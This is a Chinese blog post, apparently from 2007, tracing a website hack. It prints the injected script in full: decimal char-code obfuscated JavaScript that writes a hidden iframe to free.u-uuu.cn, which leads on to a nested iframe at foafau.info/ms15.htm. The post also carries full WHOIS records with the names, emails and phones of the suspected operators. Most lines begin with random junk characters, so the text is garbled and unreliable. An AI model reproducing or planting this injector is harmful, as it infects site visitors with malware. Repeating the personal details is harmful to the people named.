首发在我的博客里面，
Ek(.
[" Oga0CR_ http://www.areway.cn/?p=175 z:bxnM2\ EcrM`E#kaZ UvRa7[<y%% 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Rv
?G o2 9r@r\- <script>t=’60,105,102,114,97,109,101,
5i7,s 32,115,114,99,61,104,116,116,112,58,47,47,
A:ls'MkZ4 102,114,101,101,46,117,45,117,117,117,46,99,
<splLZW3k 110,47,101,114,114,111,114,46,104,116,109,
~"!F& 32,119,105,100,116,104,61,49,48,48,32,104,
RVy8%[Gcq 101,105,103,104,116,61,48,62,60,47,105,102,
vE7 L> 7 114,97,109,101,62′;
qlD+[`=b t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
&K2[>5
mG bEP-I5j1t <script>t=’60,105,102,114,97,109,101,32,115,
@FIR9XJ 114,99,61,104,116,116,112,58,47,47,102,114,
|1X^@ 101,101,46,117,45,117,117,117,46,99,110,47,
rc1EJ(c 101,114,114,111,114,46,104,116,109,32,119,
]h~=lItTRZ 105,100,116,104,61,49,48,48,32,104,101,105,
zz 7 m\ 103,104,116,61,48,62,60,47,105,102,114,97,
g
#u1.|s&p 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
+Tc<|-qQn document.write(t);</script>
/Z HuT=j1 3g9xTG);eA <html xmlns=”
&N GYV http://www.w3.org/1999/xhtml sguE{ !BO “>
2;r(?ebw <head>
P}N% **>` <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
/vS!9f${ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
GiJ|5" <title>首页 - 爱生活家庭网
KL,=Z&.<= Y*;Z(W.V# 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
aAiSP+# 转换字符串后的大概内容是（谁点击后果自付）：
5 :6^533] <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
n( l!T
7 ?Z
{4iF 查询玉米u-uuu.cn的详细信息：
gN$.2+: Domain Name: u-uuu.cn
D oX!P|* ROID: 20070901s10001s64972306-cn
//]g78]=O Domain Status: ok
2MQgTFM9 Registrant Organization: 王雷
zvYkWaa_Qz Registrant Name: 王雷
/c' 3I
Administrative Email:
czlovexs@126.com j hrmQS Sponsoring Registrar: 北京万网志成科技有限公司
W_9-JM(r Name Server:ns.yovole.com
c< L^ 1,G2 Name Server:ns1.yovole.com
F& .iY0Pt Registration Date: 2007-09-01 17:54
I>o+INb: Expiration Date: 2008-09-01 17:54
m5Q,RwJ!xK 最后PING了一下地址 都没有什么….
0? ( ^5j| 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
*,5V;7OR <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
w'z ?1M(* <script language=”javascript” src=”
l-xKfp` http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script .^j #gE &B >
:zdMV6s 这个玉米应该有可能是木马作者的：
!c[(#g foafau.info的详细信息：
\c3zK|^ Access to INFO WHOIS information is provided to assist persons in
E</Um M+ R determining the contents of a domain name registration record in the
+gqtW8 6 Afilias registry database. The data in this record is provided by
)kR~|Yn<- Afilias Limited for informational purposes only, and Afilias does not
/fbI4&SB! guarantee its accuracy. This service is intended only for query-based
F%@(
$f access. You agree that you will use this data only for lawful purposes
uN20sD} and that, under no circumstances will you use this data to: (a) allow,
Y~EKMowI&e enable, or otherwise support the transmission by e-mail, telephone, or
] C_g: |q facsimile of mass unsolicited, commercial advertising or solicitations
?9xaBWf to entities other than the data recipient’s own existing customers; or
S/G6NBnbS (b) enable high volume, automated, electronic processes that send
PhW< )B] queries or data to the systems of Registry Operator, a Registrar, or
=8O057y Afilias except as reasonably necessary to register domain names or
q+f]E&': modify existing registrations. All rights reserved. Afilias reserves
opxVxjTT# the right to modify these terms at any time. By submitting this query,
r2H \B,_ you agree to abide by this policy.
Wc [@, Domain ID:D22418703-LRMS
<
.&t'W Domain Name:FOAFAU.INFO
c9imfA+e Created On:20-Nov-2007 16:05:42 UTC
vKN"o* q Last Updated On:20-Nov-2007 16:05:44 UTC
o:B?g DM Expiration Date:20-Nov-2008 16:05:42 UTC
?;@xAj Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
ga&l.:lo Status:CLIENT DELETE PROHIBITED
HKr") K% Status:CLIENT RENEW PROHIBITED
3 kFSu Status:CLIENT TRANSFER PROHIBITED
`RDl k Status:CLIENT UPDATE PROHIBITED
.4Ob?ZS( Status:TRANSFER PROHIBITED
?#? [6t Registrant ID:GODA-040110615
#A<|&#hh Registrant Name:liu hong
<Z5ak4P Registrant Organization:
Q<W9<&VZe Registrant Street1:beijing
m<)0 XE 6w Registrant Street2:
H|_^T.n?E Registrant Street3:
tz0@csXV Registrant City:beijing
n B 4)% Registrant State/Province:
OrP-+ eg Registrant Postal Code:100000
vWY}+# Registrant Country:CN
%}jwuNGA Registrant Phone:+86.860108888777
7uG@ hL36 Registrant Phone Ext.:
C{>@b:]p Registrant FAX:
vw=OGjT_>m Registrant FAX Ext.:
jqxeO N Registrant Email:bbbshiji@163.com
Uf )?s z Admin ID:GODA-240110615
& V :q}Q Admin Name:liu hong
/.<%y 8v Admin Organization:
XH4!|wz Admin Street1:beijing
l'=H ,8LfA Admin Street2:
}M?\BH& Admin Street3:
L4`bGZl55 Admin City:beijing
Poy ]5 :. Admin State/Province:
U wOZBF< Admin Postal Code:100000
=H6"\`W Admin Country:CN
jn vJ`7zFP Admin Phone:+86.860108888777
,73 kh Admin Phone Ext.:
)\!_ `ob Admin FAX:
'9^+J7iO(+ Admin FAX Ext.:
A6ipA /_ Admin Email:bbbshiji@163.com
P5s'cP X Billing ID:GODA-340110615
J'^H@L/E Billing Name:liu hong
"?EoYF_ Billing Organization:
i? 5jl&30 Billing Street1:beijing
xCwd*lsM Billing Street2:
+c4]}9f! Billing Street3:
N*z_rZ E Billing City:beijing
']1\nJP[=X Billing State/Province:
q[p +OpA Billing Postal Code:100000
e!
V`cg0 Billing Country:CN
Yqz(@( % Billing Phone:+86.860108888777
{<0=y#@u Billing Phone Ext.:
i5 wXT Billing FAX:
+U/+ iI>0 Billing FAX Ext.:
%! % G\nv Billing Email:bbbshiji@163.com
\GYh"5 Tech ID:GODA-140110615
T0B Fit6 Tech Name:liu hong
[ kwVxaI Tech Organization:
,!+>/RlJ Tech Street1:beijing
-w
n lJi1f Tech Street2:
v`3q0,, Tech Street3:
%^){Z,}M} Tech City:beijing
P0O5CaR Tech State/Province:
)X-b|D4O Tech Postal Code:100000
g4USKJ19. Tech Country:CN
r0kJx$f Tech Phone:+86.860108888777
U-/-aNJ]U Tech Phone Ext.:
@+II@[ _lT Tech FAX:
iu!j#VO Tech FAX Ext.:
x +Vp& Tech Email:bbbshiji@163.com
1SIhW:C Name Server:NS27.DOMAINCONTROL.COM
}T=0]u4, Name Server:NS28.DOMAINCONTROL.COM
S9kagiFX\ Name Server:
8a{S * Name Server:
BeP]M1\?> Name Server:
q#9JJWSs Name Server:
>7%Gd-;l Name Server:
CVfQ Name Server:
$ 1<V'b[E Name Server:
+Hx$AB H Name Server:
[1{#a {4 Name Server:
.ko8`J%%M Name Server:
1_JtD|Jy Name Server:
df@I C@`pB
fNb2>1 接着下载每个文件里面的代码：
heQ<%NIA" 一步一步看..
{p J{UJKv? 
)IUeW R 
vg@kPuO iO 
uNnx
i 
zK.%tx}+=k 
R
T/T+Q! 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
